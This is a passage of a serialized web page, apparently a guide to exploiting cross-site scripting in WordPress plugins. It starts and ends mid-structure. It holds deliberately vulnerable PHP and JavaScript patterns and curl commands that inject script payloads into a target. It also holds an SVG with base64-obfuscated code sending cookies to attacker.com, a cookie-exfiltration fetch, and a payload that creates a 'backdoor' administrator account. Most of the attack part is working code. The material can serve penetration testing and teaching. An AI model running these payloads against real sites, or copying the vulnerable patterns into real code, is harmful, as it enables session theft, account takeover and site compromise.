\\\n  -d 'action=save_header_text' \\\n  -d 'nonce=NONCE' \\\n  --data-urlencode 'header_text=\u003Cscript>alert(document.domain)\u003C\u002Fscript>'\n\n# Verify it's stored and rendered\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -i \"script\\|alert\"\n",[33,18327,18328,18333,18349,18355,18364,18372,18379,18383,18388],{"__ignoreMap":31},[36,18329,18330],{"class":38,"line":39},[36,18331,18332],{"class":42},"# Store XSS payload in plugin setting\n",[36,18334,18335,18337,18339,18341,18343,18345,18347],{"class":38,"line":46},[36,18336,92],{"class":49},[36,18338,96],{"class":95},[36,18340,709],{"class":95},[36,18342,13608],{"class":53},[36,18344,792],{"class":95},[36,18346,795],{"class":53},[36,18348,155],{"class":95},[36,18350,18351,18353],{"class":38,"line":57},[36,18352,3329],{"class":53},[36,18354,155],{"class":95},[36,18356,18357,18359,18362],{"class":38,"line":64},[36,18358,818],{"class":95},[36,18360,18361],{"class":53}," 'action=save_header_text'",[36,18363,155],{"class":95},[36,18365,18366,18368,18370],{"class":38,"line":70},[36,18367,818],{"class":95},[36,18369,16552],{"class":53},[36,18371,155],{"class":95},[36,18373,18374,18376],{"class":38,"line":78},[36,18375,3811],{"class":95},[36,18377,18378],{"class":53}," 'header_text=\u003Cscript>alert(document.domain)\u003C\u002Fscript>'\n",[36,18380,18381],{"class":38,"line":83},[36,18382,61],{"emptyLinePlaceholder":60},[36,18384,18385],{"class":38,"line":89},[36,18386,18387],{"class":42},"# Verify it's stored and rendered\n",[36,18389,18390,18392,18394,18396,18398,18400,18402],{"class":38,"line":115},[36,18391,92],{"class":49},[36,18393,96],{"class":95},[36,18395,5236],{"class":53},[36,18397,103],{"class":102},[36,18399,617],{"class":49},[36,18401,12467],{"class":95},[36,18403,18404],{"class":53}," \"script\\|alert\"\n",[684,18406,18408],{"id":18407},"pattern-2-stored-xss-via-post-meta","Pattern 2: Stored XSS via Post Meta",[26,18410,18412],{"className":177,"code":18411,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Saves post meta without sanitization\nadd_action( 'save_post', function( $post_id ) {\n    if ( isset( $_POST['custom_sidebar'] ) ) {\n        update_post_meta(\n            $post_id,\n            '_custom_sidebar',\n            $_POST['custom_sidebar'] \u002F\u002F Raw user input stored\n        );\n    }\n});\n\n\u002F\u002F Outputs without escaping\nadd_action( 'wp_footer', function() {\n    global $post;\n    $sidebar = get_post_meta( $post->ID, '_custom_sidebar', true );\n    if ( $sidebar ) {\n        echo $sidebar; \u002F\u002F XSS when page is viewed\n    }\n});\n",[33,18413,18414,18419,18424,18429,18434,18439,18444,18449,18453,18457,18461,18465,18470,18475,18480,18485,18490,18495,18499],{"__ignoreMap":31},[36,18415,18416],{"class":38,"line":39},[36,18417,18418],{},"\u002F\u002F VULNERABLE: Saves post meta without sanitization\n",[36,18420,18421],{"class":38,"line":46},[36,18422,18423],{},"add_action( 'save_post', function( $post_id ) {\n",[36,18425,18426],{"class":38,"line":57},[36,18427,18428],{},"    if ( isset( $_POST['custom_sidebar'] ) ) {\n",[36,18430,18431],{"class":38,"line":64},[36,18432,18433],{},"        update_post_meta(\n",[36,18435,18436],{"class":38,"line":70},[36,18437,18438],{},"            $post_id,\n",[36,18440,18441],{"class":38,"line":78},[36,18442,18443],{},"            '_custom_sidebar',\n",[36,18445,18446],{"class":38,"line":83},[36,18447,18448],{},"            $_POST['custom_sidebar'] \u002F\u002F Raw user input stored\n",[36,18450,18451],{"class":38,"line":89},[36,18452,2309],{},[36,18454,18455],{"class":38,"line":115},[36,18456,1622],{},[36,18458,18459],{"class":38,"line":133},[36,18460,300],{},[36,18462,18463],{"class":38,"line":138},[36,18464,61],{"emptyLinePlaceholder":60},[36,18466,18467],{"class":38,"line":144},[36,18468,18469],{},"\u002F\u002F Outputs without escaping\n",[36,18471,18472],{"class":38,"line":158},[36,18473,18474],{},"add_action( 'wp_footer', function() {\n",[36,18476,18477],{"class":38,"line":255},[36,18478,18479],{},"    global $post;\n",[36,18481,18482],{"class":38,"line":261},[36,18483,18484],{},"    $sidebar = get_post_meta( $post->ID, '_custom_sidebar', true );\n",[36,18486,18487],{"class":38,"line":267},[36,18488,18489],{},"    if ( $sidebar ) {\n",[36,18491,18492],{"class":38,"line":273},[36,18493,18494],{},"        echo $sidebar; \u002F\u002F XSS when page is viewed\n",[36,18496,18497],{"class":38,"line":279},[36,18498,1622],{},[36,18500,18501],{"class":38,"line":285},[36,18502,300],{},[26,18504,18506],{"className":28,"code":18505,"language":30,"meta":31,"style":31},"# Any author can create a post with XSS in meta\ncurl -s -b \u002Ftmp\u002Fauthor_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fpost.php' \\\n  -d 'action=editpost&post_ID=5&post_title=Test&post_status=publish' \\\n  --data-urlencode 'custom_sidebar=\u003Cimg src=x onerror=alert(document.cookie)>'\n",[33,18507,18508,18513,18530,18537,18546],{"__ignoreMap":31},[36,18509,18510],{"class":38,"line":39},[36,18511,18512],{"class":42},"# Any author can create a post with XSS in meta\n",[36,18514,18515,18517,18519,18521,18524,18526,18528],{"class":38,"line":46},[36,18516,92],{"class":49},[36,18518,96],{"class":95},[36,18520,709],{"class":95},[36,18522,18523],{"class":53}," \u002Ftmp\u002Fauthor_cookies.txt",[36,18525,792],{"class":95},[36,18527,795],{"class":53},[36,18529,155],{"class":95},[36,18531,18532,18535],{"class":38,"line":57},[36,18533,18534],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fpost.php'",[36,18536,155],{"class":95},[36,18538,18539,18541,18544],{"class":38,"line":64},[36,18540,818],{"class":95},[36,18542,18543],{"class":53}," 'action=editpost&post_ID=5&post_title=Test&post_status=publish'",[36,18545,155],{"class":95},[36,18547,18548,18550],{"class":38,"line":70},[36,18549,3811],{"class":95},[36,18551,18552],{"class":53}," 'custom_sidebar=\u003Cimg src=x onerror=alert(document.cookie)>'\n",[684,18554,18556],{"id":18555},"pattern-3-shortcode-attribute-xss","Pattern 3: Shortcode Attribute XSS",[26,18558,18560],{"className":177,"code":18559,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Shortcode attribute echoed without escaping\nfunction vulnerable_shortcode( $atts ) {\n    $atts = shortcode_atts([\n        'title' => 'Default Title',\n        'color' => 'blue',\n    ], $atts );\n\n    \u002F\u002F Color is reflected unsanitized in inline style and HTML attribute\n    return '\u003Cdiv style=\"color:' . $atts['color'] . ';\">' .\n           esc_html( $atts['title'] ) . '\u003C\u002Fdiv>';\n}\nadd_shortcode( 'my_widget', 'vulnerable_shortcode' );\n",[33,18561,18562,18567,18572,18577,18582,18587,18592,18596,18601,18606,18611,18615],{"__ignoreMap":31},[36,18563,18564],{"class":38,"line":39},[36,18565,18566],{},"\u002F\u002F VULNERABLE: Shortcode attribute echoed without escaping\n",[36,18568,18569],{"class":38,"line":46},[36,18570,18571],{},"function vulnerable_shortcode( $atts ) {\n",[36,18573,18574],{"class":38,"line":57},[36,18575,18576],{},"    $atts = shortcode_atts([\n",[36,18578,18579],{"class":38,"line":64},[36,18580,18581],{},"        'title' => 'Default Title',\n",[36,18583,18584],{"class":38,"line":70},[36,18585,18586],{},"        'color' => 'blue',\n",[36,18588,18589],{"class":38,"line":78},[36,18590,18591],{},"    ], $atts );\n",[36,18593,18594],{"class":38,"line":83},[36,18595,61],{"emptyLinePlaceholder":60},[36,18597,18598],{"class":38,"line":89},[36,18599,18600],{},"    \u002F\u002F Color is reflected unsanitized in inline style and HTML attribute\n",[36,18602,18603],{"class":38,"line":115},[36,18604,18605],{},"    return '\u003Cdiv style=\"color:' . $atts['color'] . ';\">' .\n",[36,18607,18608],{"class":38,"line":133},[36,18609,18610],{},"           esc_html( $atts['title'] ) . '\u003C\u002Fdiv>';\n",[36,18612,18613],{"class":38,"line":138},[36,18614,323],{},[36,18616,18617],{"class":38,"line":144},[36,18618,18619],{},"add_shortcode( 'my_widget', 'vulnerable_shortcode' );\n",[14,18621,18622],{},"Payload in shortcode (contributor or above can typically use shortcodes):",[26,18624,18627],{"className":18625,"code":18626,"language":7026},[7024],"[my_widget title=\"Test\" color=\"red;}\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>\"]\n[my_widget color=\"red\" title=\"\u003Cimg src=x onerror=alert(1)>\"]\n",[33,18628,18626],{"__ignoreMap":31},[14,18630,18631,18632,18635],{},"Note: ",[33,18633,18634],{},"shortcode_atts"," does not escape values. The developer must escape when outputting.",[26,18637,18639],{"className":28,"code":18638,"language":30,"meta":31,"style":31},"# Test if shortcode attribute is vulnerable\n# Create a post as contributor with the shortcode\ncurl -s -b \u002Ftmp\u002Fcontributor_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=autosave' \\\n  --data-urlencode 'content=[my_widget color=\"red;background:url(javascript:alert(1))\"]'\n",[33,18640,18641,18646,18651,18668,18674,18683],{"__ignoreMap":31},[36,18642,18643],{"class":38,"line":39},[36,18644,18645],{"class":42},"# Test if shortcode attribute is vulnerable\n",[36,18647,18648],{"class":38,"line":46},[36,18649,18650],{"class":42},"# Create a post as contributor with the shortcode\n",[36,18652,18653,18655,18657,18659,18662,18664,18666],{"class":38,"line":57},[36,18654,92],{"class":49},[36,18656,96],{"class":95},[36,18658,709],{"class":95},[36,18660,18661],{"class":53}," \u002Ftmp\u002Fcontributor_cookies.txt",[36,18663,792],{"class":95},[36,18665,795],{"class":53},[36,18667,155],{"class":95},[36,18669,18670,18672],{"class":38,"line":64},[36,18671,3329],{"class":53},[36,18673,155],{"class":95},[36,18675,18676,18678,18681],{"class":38,"line":70},[36,18677,818],{"class":95},[36,18679,18680],{"class":53}," 'action=autosave'",[36,18682,155],{"class":95},[36,18684,18685,18687],{"class":38,"line":78},[36,18686,3811],{"class":95},[36,18688,18689],{"class":53}," 'content=[my_widget color=\"red;background:url(javascript:alert(1))\"]'\n",[684,18691,18693],{"id":18692},"pattern-4-reflected-xss-via-_get-parameters","Pattern 4: Reflected XSS via $_GET Parameters",[26,18695,18697],{"className":177,"code":18696,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Search term reflected without escaping\nadd_action( 'init', function() {\n    if ( isset( $_GET['my_plugin_search'] ) ) {\n        $search = $_GET['my_plugin_search'];\n        \u002F\u002F Reflected without escaping\n        echo '\u003Cdiv class=\"search-results\">Results for: ' . $search . '\u003C\u002Fdiv>';\n    }\n});\n",[33,18698,18699,18704,18709,18714,18719,18724,18729,18733],{"__ignoreMap":31},[36,18700,18701],{"class":38,"line":39},[36,18702,18703],{},"\u002F\u002F VULNERABLE: Search term reflected without escaping\n",[36,18705,18706],{"class":38,"line":46},[36,18707,18708],{},"add_action( 'init', function() {\n",[36,18710,18711],{"class":38,"line":57},[36,18712,18713],{},"    if ( isset( $_GET['my_plugin_search'] ) ) {\n",[36,18715,18716],{"class":38,"line":64},[36,18717,18718],{},"        $search = $_GET['my_plugin_search'];\n",[36,18720,18721],{"class":38,"line":70},[36,18722,18723],{},"        \u002F\u002F Reflected without escaping\n",[36,18725,18726],{"class":38,"line":78},[36,18727,18728],{},"        echo '\u003Cdiv class=\"search-results\">Results for: ' . $search . '\u003C\u002Fdiv>';\n",[36,18730,18731],{"class":38,"line":83},[36,18732,1622],{},[36,18734,18735],{"class":38,"line":89},[36,18736,300],{},[26,18738,18740],{"className":28,"code":18739,"language":30,"meta":31,"style":31},"# Reflected XSS test\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=\u003Cscript>alert(1)\u003C\u002Fscript>'\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=\">\u003Cscript>alert(document.cookie)\u003C\u002Fscript>'\n\n# URL for victim click\necho 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E'\n",[33,18741,18742,18747,18756,18765,18769,18774],{"__ignoreMap":31},[36,18743,18744],{"class":38,"line":39},[36,18745,18746],{"class":42},"# Reflected XSS test\n",[36,18748,18749,18751,18753],{"class":38,"line":46},[36,18750,92],{"class":49},[36,18752,96],{"class":95},[36,18754,18755],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=\u003Cscript>alert(1)\u003C\u002Fscript>'\n",[36,18757,18758,18760,18762],{"class":38,"line":57},[36,18759,92],{"class":49},[36,18761,96],{"class":95},[36,18763,18764],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=\">\u003Cscript>alert(document.cookie)\u003C\u002Fscript>'\n",[36,18766,18767],{"class":38,"line":64},[36,18768,61],{"emptyLinePlaceholder":60},[36,18770,18771],{"class":38,"line":70},[36,18772,18773],{"class":42},"# URL for victim click\n",[36,18775,18776,18778],{"class":38,"line":78},[36,18777,1226],{"class":95},[36,18779,18780],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002F?my_plugin_search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E'\n",[684,18782,18784],{"id":18783},"pattern-5-xss-in-admin-pages","Pattern 5: XSS in Admin Pages",[14,18786,18787],{},"Admin XSS matters when exploited by lower-privileged users (subscribers\u002Fauthors triggering XSS that fires in admin's browser):",[26,18789,18791],{"className":177,"code":18790,"language":179,"meta":31,"style":31},"\u002F\u002F Plugin displays user input on admin page without escaping\nadd_action( 'admin_notices', function() {\n    $error = get_option( 'my_plugin_last_error' );\n    if ( $error ) {\n        \u002F\u002F Admin page XSS\n        echo '\u003Cdiv class=\"notice notice-error\">\u003Cp>' . $error . '\u003C\u002Fp>\u003C\u002Fdiv>';\n    }\n});\n\n\u002F\u002F Error is set from a public form\nadd_action( 'wp_ajax_nopriv_submit_form', function() {\n    update_option( 'my_plugin_last_error', $_POST['message'] ); \u002F\u002F Attacker controls this\n    wp_die();\n});\n",[33,18792,18793,18798,18803,18808,18813,18818,18823,18827,18831,18835,18840,18845,18850,18854],{"__ignoreMap":31},[36,18794,18795],{"class":38,"line":39},[36,18796,18797],{},"\u002F\u002F Plugin displays user input on admin page without escaping\n",[36,18799,18800],{"class":38,"line":46},[36,18801,18802],{},"add_action( 'admin_notices', function() {\n",[36,18804,18805],{"class":38,"line":57},[36,18806,18807],{},"    $error = get_option( 'my_plugin_last_error' );\n",[36,18809,18810],{"class":38,"line":64},[36,18811,18812],{},"    if ( $error ) {\n",[36,18814,18815],{"class":38,"line":70},[36,18816,18817],{},"        \u002F\u002F Admin page XSS\n",[36,18819,18820],{"class":38,"line":78},[36,18821,18822],{},"        echo '\u003Cdiv class=\"notice notice-error\">\u003Cp>' . $error . '\u003C\u002Fp>\u003C\u002Fdiv>';\n",[36,18824,18825],{"class":38,"line":83},[36,18826,1622],{},[36,18828,18829],{"class":38,"line":89},[36,18830,300],{},[36,18832,18833],{"class":38,"line":115},[36,18834,61],{"emptyLinePlaceholder":60},[36,18836,18837],{"class":38,"line":133},[36,18838,18839],{},"\u002F\u002F Error is set from a public form\n",[36,18841,18842],{"class":38,"line":138},[36,18843,18844],{},"add_action( 'wp_ajax_nopriv_submit_form', function() {\n",[36,18846,18847],{"class":38,"line":144},[36,18848,18849],{},"    update_option( 'my_plugin_last_error', $_POST['message'] ); \u002F\u002F Attacker controls this\n",[36,18851,18852],{"class":38,"line":158},[36,18853,2856],{},[36,18855,18856],{"class":38,"line":255},[36,18857,300],{},[14,18859,18860],{},"Any unauthenticated user can inject a payload that fires when the admin views their dashboard:",[26,18862,18864],{"className":28,"code":18863,"language":30,"meta":31,"style":31},"# Inject payload that will execute in admin context\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=submit_form' \\\n  --data-urlencode 'message=\u003Cimg src=x onerror=\"fetch(atob(\\\"aHR0cHM6Ly9hdHRhY2tlci5jb20v\\\"))\">'\n",[33,18865,18866,18871,18885,18894],{"__ignoreMap":31},[36,18867,18868],{"class":38,"line":39},[36,18869,18870],{"class":42},"# Inject payload that will execute in admin context\n",[36,18872,18873,18875,18877,18879,18881,18883],{"class":38,"line":46},[36,18874,92],{"class":49},[36,18876,96],{"class":95},[36,18878,792],{"class":95},[36,18880,795],{"class":53},[36,18882,3208],{"class":53},[36,18884,155],{"class":95},[36,18886,18887,18889,18892],{"class":38,"line":57},[36,18888,818],{"class":95},[36,18890,18891],{"class":53}," 'action=submit_form'",[36,18893,155],{"class":95},[36,18895,18896,18898],{"class":38,"line":64},[36,18897,3811],{"class":95},[36,18899,18900],{"class":53}," 'message=\u003Cimg src=x onerror=\"fetch(atob(\\\"aHR0cHM6Ly9hdHRhY2tlci5jb20v\\\"))\">'\n",[18,18902,18904],{"id":18903},"svg-xss","SVG XSS",[14,18906,18907],{},"SVG files are XML documents that can contain JavaScript. When SVG is displayed inline or accessed directly:",[26,18909,18913],{"className":18910,"code":18911,"language":18912,"meta":31,"style":31},"language-xml shiki shiki-themes github-light github-dark","\u003C!-- Malicious SVG payload -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-\u002F\u002FW3C\u002F\u002FDTD SVG 1.1\u002F\u002FEN\"\n  \"http:\u002F\u002Fwww.w3.org\u002FGraphics\u002FSVG\u002F1.1\u002FDTD\u002Fsvg11.dtd\">\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\"\n     xmlns:xlink=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002Fxlink\"\n     onload=\"eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWUp'))\">\n  \u003Crect width=\"100%\" height=\"100%\"\u002F>\n\u003C\u002Fsvg>\n","xml",[33,18914,18915,18920,18924,18929,18934,18939,18944,18949,18954],{"__ignoreMap":31},[36,18916,18917],{"class":38,"line":39},[36,18918,18919],{},"\u003C!-- Malicious SVG payload -->\n",[36,18921,18922],{"class":38,"line":46},[36,18923,16813],{},[36,18925,18926],{"class":38,"line":57},[36,18927,18928],{},"\u003C!DOCTYPE svg PUBLIC \"-\u002F\u002FW3C\u002F\u002FDTD SVG 1.1\u002F\u002FEN\"\n",[36,18930,18931],{"class":38,"line":64},[36,18932,18933],{},"  \"http:\u002F\u002Fwww.w3.org\u002FGraphics\u002FSVG\u002F1.1\u002FDTD\u002Fsvg11.dtd\">\n",[36,18935,18936],{"class":38,"line":70},[36,18937,18938],{},"\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\"\n",[36,18940,18941],{"class":38,"line":78},[36,18942,18943],{},"     xmlns:xlink=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002Fxlink\"\n",[36,18945,18946],{"class":38,"line":83},[36,18947,18948],{},"     onload=\"eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWUp'))\">\n",[36,18950,18951],{"class":38,"line":89},[36,18952,18953],{},"  \u003Crect width=\"100%\" height=\"100%\"\u002F>\n",[36,18955,18956],{"class":38,"line":115},[36,18957,16843],{},[26,18959,18961],{"className":28,"code":18960,"language":30,"meta":31,"style":31},"# Base64 decode the payload: fetch('https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie)\necho -n \"fetch('https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie)\" | base64\n\ncat > \u002Ftmp\u002Fxss.svg \u003C\u003C 'SVGEOF'\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" onload=\"document.location='https:\u002F\u002Fattacker.com\u002F?c='+document.cookie\">\n\u003Ctext>image\u003C\u002Ftext>\n\u003C\u002Fsvg>\nSVGEOF\n\n# Upload SVG via media upload (if allowed)\ncurl -s -b \u002Ftmp\u002Fauthor_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fasync-upload.php' \\\n  -F 'action=upload-attachment' \\\n  -F 'name=image.svg' \\\n  -F '_wpnonce=NONCE' \\\n  -F 'async-upload=@\u002Ftmp\u002Fxss.svg;type=image\u002Fsvg+xml'\n",[33,18962,18963,18968,18982,18986,18999,19004,19009,19013,19018,19022,19027,19043,19050,19059,19068,19077],{"__ignoreMap":31},[36,18964,18965],{"class":38,"line":39},[36,18966,18967],{"class":42},"# Base64 decode the payload: fetch('https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie)\n",[36,18969,18970,18972,18974,18977,18979],{"class":38,"line":46},[36,18971,1226],{"class":95},[36,18973,1229],{"class":95},[36,18975,18976],{"class":53}," \"fetch('https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie)\"",[36,18978,103],{"class":102},[36,18980,18981],{"class":49}," base64\n",[36,18983,18984],{"class":38,"line":57},[36,18985,61],{"emptyLinePlaceholder":60},[36,18987,18988,18990,18992,18994,18996],{"class":38,"line":64},[36,18989,13332],{"class":49},[36,18991,6391],{"class":102},[36,18993,16804],{"class":53},[36,18995,16137],{"class":102},[36,18997,18998],{"class":53}," 'SVGEOF'\n",[36,19000,19001],{"class":38,"line":70},[36,19002,19003],{"class":53},"\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" onload=\"document.location='https:\u002F\u002Fattacker.com\u002F?c='+document.cookie\">\n",[36,19005,19006],{"class":38,"line":78},[36,19007,19008],{"class":53},"\u003Ctext>image\u003C\u002Ftext>\n",[36,19010,19011],{"class":38,"line":83},[36,19012,16843],{"class":53},[36,19014,19015],{"class":38,"line":89},[36,19016,19017],{"class":53},"SVGEOF\n",[36,19019,19020],{"class":38,"line":115},[36,19021,61],{"emptyLinePlaceholder":60},[36,19023,19024],{"class":38,"line":133},[36,19025,19026],{"class":42},"# Upload SVG via media upload (if allowed)\n",[36,19028,19029,19031,19033,19035,19037,19039,19041],{"class":38,"line":138},[36,19030,92],{"class":49},[36,19032,96],{"class":95},[36,19034,709],{"class":95},[36,19036,18523],{"class":53},[36,19038,792],{"class":95},[36,19040,795],{"class":53},[36,19042,155],{"class":95},[36,19044,19045,19048],{"class":38,"line":144},[36,19046,19047],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fasync-upload.php'",[36,19049,155],{"class":95},[36,19051,19052,19054,19057],{"class":38,"line":158},[36,19053,16104],{"class":95},[36,19055,19056],{"class":53}," 'action=upload-attachment'",[36,19058,155],{"class":95},[36,19060,19061,19063,19066],{"class":38,"line":255},[36,19062,16104],{"class":95},[36,19064,19065],{"class":53}," 'name=image.svg'",[36,19067,155],{"class":95},[36,19069,19070,19072,19075],{"class":38,"line":261},[36,19071,16104],{"class":95},[36,19073,19074],{"class":53}," '_wpnonce=NONCE'",[36,19076,155],{"class":95},[36,19078,19079,19081],{"class":38,"line":267},[36,19080,16104],{"class":95},[36,19082,19083],{"class":53}," 'async-upload=@\u002Ftmp\u002Fxss.svg;type=image\u002Fsvg+xml'\n",[18,19085,19087],{"id":19086},"dom-based-xss","DOM-Based XSS",[14,19089,19090],{},"DOM XSS occurs when JavaScript processes URL fragments or parameters without sanitization:",[26,19092,19096],{"className":19093,"code":19094,"language":19095,"meta":31,"style":31},"language-javascript shiki shiki-themes github-light github-dark","\u002F\u002F VULNERABLE: Plugin JavaScript\njQuery(document).ready(function($) {\n    \u002F\u002F Reads from URL hash without sanitization\n    var tab = location.hash.substring(1);\n    $('#' + tab).show(); \u002F\u002F DOM manipulation with attacker-controlled value\n    \n    \u002F\u002F Or reflects search parameter\n    var search = new URLSearchParams(window.location.search).get('s');\n    $('.search-results').html('Results for: ' + search); \u002F\u002F XSS via .html()\n});\n","javascript",[33,19097,19098,19103,19108,19113,19118,19123,19127,19132,19137,19142],{"__ignoreMap":31},[36,19099,19100],{"class":38,"line":39},[36,19101,19102],{},"\u002F\u002F VULNERABLE: Plugin JavaScript\n",[36,19104,19105],{"class":38,"line":46},[36,19106,19107],{},"jQuery(document).ready(function($) {\n",[36,19109,19110],{"class":38,"line":57},[36,19111,19112],{},"    \u002F\u002F Reads from URL hash without sanitization\n",[36,19114,19115],{"class":38,"line":64},[36,19116,19117],{},"    var tab = location.hash.substring(1);\n",[36,19119,19120],{"class":38,"line":70},[36,19121,19122],{},"    $('#' + tab).show(); \u002F\u002F DOM manipulation with attacker-controlled value\n",[36,19124,19125],{"class":38,"line":78},[36,19126,16191],{},[36,19128,19129],{"class":38,"line":83},[36,19130,19131],{},"    \u002F\u002F Or reflects search parameter\n",[36,19133,19134],{"class":38,"line":89},[36,19135,19136],{},"    var search = new URLSearchParams(window.location.search).get('s');\n",[36,19138,19139],{"class":38,"line":115},[36,19140,19141],{},"    $('.search-results').html('Results for: ' + search); \u002F\u002F XSS via .html()\n",[36,19143,19144],{"class":38,"line":133},[36,19145,300],{},[14,19147,19148],{},"Testing payloads:",[26,19150,19153],{"className":19151,"code":19152,"language":7026},[7024],"# Hash-based DOM XSS\nhttps:\u002F\u002Ftarget.example.com\u002Fplugin-page\u002F#\u003Cimg src=x onerror=alert(1)>\n\n# URL parameter DOM XSS  \nhttps:\u002F\u002Ftarget.example.com\u002Fplugin-page\u002F?display=\u003Cscript>alert(1)\u003C\u002Fscript>\n\n# Using innerHTML or jQuery .html()\nhttps:\u002F\u002Ftarget.example.com\u002F#\">\u003C\u002Fdiv>\u003Cscript>alert(1)\u003C\u002Fscript>\n",[33,19154,19152],{"__ignoreMap":31},[18,19156,19158],{"id":19157},"xss-payloads-for-impact-demonstration","XSS Payloads for Impact Demonstration",[684,19160,19162],{"id":19161},"admin-cookie-theft","Admin Cookie Theft",[26,19164,19166],{"className":19093,"code":19165,"language":19095,"meta":31,"style":31},"\u002F\u002F Exfiltrate cookies to attacker server\nfetch('https:\u002F\u002Fattacker.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify({\n        cookie: document.cookie,\n        url: window.location.href,\n        ua: navigator.userAgent\n    })\n});\n",[33,19167,19168,19173,19178,19183,19188,19193,19198,19203,19208],{"__ignoreMap":31},[36,19169,19170],{"class":38,"line":39},[36,19171,19172],{},"\u002F\u002F Exfiltrate cookies to attacker server\n",[36,19174,19175],{"class":38,"line":46},[36,19176,19177],{},"fetch('https:\u002F\u002Fattacker.com\u002Fcollect', {\n",[36,19179,19180],{"class":38,"line":57},[36,19181,19182],{},"    method: 'POST',\n",[36,19184,19185],{"class":38,"line":64},[36,19186,19187],{},"    body: JSON.stringify({\n",[36,19189,19190],{"class":38,"line":70},[36,19191,19192],{},"        cookie: document.cookie,\n",[36,19194,19195],{"class":38,"line":78},[36,19196,19197],{},"        url: window.location.href,\n",[36,19199,19200],{"class":38,"line":83},[36,19201,19202],{},"        ua: navigator.userAgent\n",[36,19204,19205],{"class":38,"line":89},[36,19206,19207],{},"    })\n",[36,19209,19210],{"class":38,"line":115},[36,19211,300],{},[684,19213,19215],{"id":19214},"admin-account-compromise-via-csrf-chain","Admin Account Compromise via CSRF Chain",[26,19217,19219],{"className":19093,"code":19218,"language":19095,"meta":31,"style":31},"\u002F\u002F XSS payload that creates a new admin account\n\u002F\u002F Fires in admin's browser context\n(async function() {\n    \u002F\u002F Step 1: Get nonce\n    const resp = await fetch('\u002Fwp-admin\u002Fuser-new.php');\n    const html = await resp.text();\n    const nonce = html.match(\u002F_wpnonce_create-user\" value=\"([^\"]+)\"\u002F)[1];\n    \n    \u002F\u002F Step 2: Create admin account\n    await fetch('\u002Fwp-admin\u002Fuser-new.php', {\n        method: 'POST',\n        headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'},\n        body: `action=createuser&user_login=backdoor&email=attacker@evil.com` +\n              `&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator` +\n              `&_wpnonce_create-user=${nonce}`\n    });\n})();\n",[33,19220,19221,19226,19231,19236,19241,19246,19251,19256,19260,19265,19270,19275,19280,19285,19290,19295,19300],{"__ignoreMap":31},[36,19222,19223],{"class":38,"line":39},[36,19224,19225],{},"\u002F\u002F XSS payload that creates a new admin account\n",[36,19227,19228],{"class":38,"line":46},[36,19229,19230],{},"\u002F\u002F Fires in admin's browser context\n",[36,19232,19233],{"class":38,"line":57},[36,19234,19235],{},"(async function() {\n",[36,19237,19238],{"class":38,"line":64},[36,19239,19240],{},"    \u002F\u002F Step 1: Get nonce\n",[36,19242,19243],{"class":38,"line":70},[36,19244,19245],{},"    const resp = await fetch('\u002Fwp-admin\u002Fuser-new.php');\n",[36,19247,19248],{"class":38,"line":78},[36,19249,19250],{},"    const html = await resp.text();\n",[36,19252,19253],{"class":38,"line":83},[36,19254,19255],{},"    const nonce = html.match(\u002F_wpnonce_create-user\" value=\"([^\"]+)\"\u002F)[1];\n",[36,19257,19258],{"class":38,"line":89},[36,19259,16191],{},[36,19261,19262],{"class":38,"line":115},[36,19263,19264],{},"    \u002F\u002F Step 2: Create admin account\n",[36,19266,19267],{"class":38,"line":133},[36,19268,19269],{},"    await fetch('\u002Fwp-admin\u002Fuser-new.php', {\n",[36,19271,19272],{"class":38,"line":138},[36,19273,19274],{},"        method: 'POST',\n",[36,19276,19277],{"class":38,"line":144},[36,19278,19279],{},"        headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'},\n",[36,19281,19282],{"class":38,"line":158},[36,19283,19284],{},"        body: `action=createuser&user_login=backdoor&email=attacker@evil.com` +\n",[36,19286,19287],{"class":38,"line":255},[36,19288,19289],{},"              `&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator` +\n",[36,19291,19292],{"class":38,"line":261},[36,19293,19294],{},"              